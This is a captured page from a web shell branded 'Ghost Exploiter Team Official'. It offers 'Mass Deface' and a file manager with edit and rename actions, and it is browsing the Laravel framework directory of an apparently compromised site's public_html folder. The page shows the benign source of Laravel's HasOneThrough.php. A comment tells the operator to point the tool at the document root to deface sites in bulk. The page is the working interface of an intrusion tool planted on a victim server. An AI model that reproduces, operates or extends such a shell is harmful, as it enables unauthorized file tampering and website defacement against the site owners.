webshell
Ghost Exploiter Team Official
Mass Deface
Directory >>
/
home
/
whitjouh
/
public_html
/
core
/
vendor
/
laravel
/
framework
/
src
/
Illuminate
/
Database
/
Eloquent
/
Relations
/
Mass Deface Auto Detect Domain
/*Ubah Ke document_root untuk mass deface*/
File / Folder
Size
Action
.
-
+New File
Concerns
--
ren
BelongsTo.php
10.914KB
edt
ren
BelongsToMany.php
41.878KB
edt
ren
HasMany.php
1.509KB
edt
ren
HasManyThrough.php
24.239KB
edt
ren
HasOne.php
4.045KB
edt
ren
HasOneOrMany.php
14.606KB
edt
ren
HasOneThrough.php
2.201KB
edt
ren
MorphMany.php
2.306KB
edt
ren
MorphOne.php
4.168KB
edt
ren
MorphOneOrMany.php
3.497KB
edt
ren
MorphPivot.php
4.436KB
edt
ren
MorphTo.php
12.095KB
edt
ren
MorphToMany.php
5.747KB
edt
ren
Pivot.php
0.457KB
edt
ren
Relation.php
13.296KB
edt
ren
<?php namespace Illuminate\Database\Eloquent\Relations; use Illuminate\Database\Eloquent\Collection; use Illuminate\Database\Eloquent\Model; use Illuminate\Database\Eloquent\Relations\Concerns\InteractsWithDictionary; use Illuminate\Database\Eloquent\Relations\Concerns\SupportsDefaultModels; class HasOneThrough extends HasManyThrough { use InteractsWithDictionary, SupportsDefaultModels; /** * Get the results of the relationship. * * @return mixed */ public function getResults() { return $this->first() ?: $this->getDefaultFor($this->farParent); } /** * Initialize the relation on a set of models. * * @param array $models * @param string $relation * @return array */ public function initRelation(array $models, $relation) { foreach ($models as $model) { $model->setRelation($relation, $this->getDefaultFor($model)); } return $models; } /** * Match the eagerly loaded results to their parents. * * @param array $models * @param \Illuminate\Database\Eloquent\Collection $results * @param string $relation * @return array */ public function match(array $models, Collection $results, $relation) { $dictionary = $this->buildDictionary($results); // Once we have the dictionary we can simply spin through the parent models to // link them up with their children using the keyed dictionary to make the // matching very convenient and easy work. Then we'll just return them. foreach ($models as $model) { if (isset($dictionary[$key = $this->getDictionaryKey($model->getAttribute($this->localKey))])) { $value = $dictionary[$key]; $model->setRelation( $relation, reset($value) ); } } return $models; } /** * Make a new related instance for the given model. * * @param \Illuminate\Database\Eloquent\Model $parent * @return \Illuminate\Database\Eloquent\Model */ public function newRelatedInstanceFor(Model $parent) { return $this->related->newInstance(); } }
<=Back
Liking